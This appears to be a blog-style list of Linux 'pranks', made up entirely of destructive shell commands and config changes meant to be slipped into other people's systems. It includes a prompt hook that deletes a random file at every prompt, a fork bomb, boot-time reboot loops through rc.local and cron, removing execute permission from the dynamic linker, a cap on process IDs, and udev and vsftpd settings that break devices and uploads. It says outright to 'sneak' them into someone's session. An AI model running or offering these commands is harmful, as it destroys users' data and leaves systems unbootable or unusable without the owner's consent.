Better learn to type fast…

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'

Fun with Vim and Files

Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc

:wqa

I’m sorry, but I can’t let you do that Dave…

echo "kernel.pid_max = 132" >> /etc/sysctl.conf

Better get some rescue cd’s…

This one was submitted by giulivo using the submission link:

chmod a-x /lib/ld-2*.so

What ftp server?

In /etc/vsftpd/vsftpd.conf add or change the following lines:

chown_uploads=YES
chown_username=daemon<space>

Where <space> is an actual space character before the end of the line.

Beginners

Run the following command and reboot :

echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local

Meet the Prompt of Doom

Try to sneak this one into someone’s session and watch the hilarity ensue:

export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Classic

Just enter this little baby into any account where ulimit -u reports unlimited

:() { :|:& };:

Neverending story

echo "@reboot reboot" > /etc/cron.d/system

Devicenode deletion

Add this file as /etc/udev/rules.d/01-devices.rules:

ACTION=="add", SUBSYSTEM=="block", NAME:="hehehe"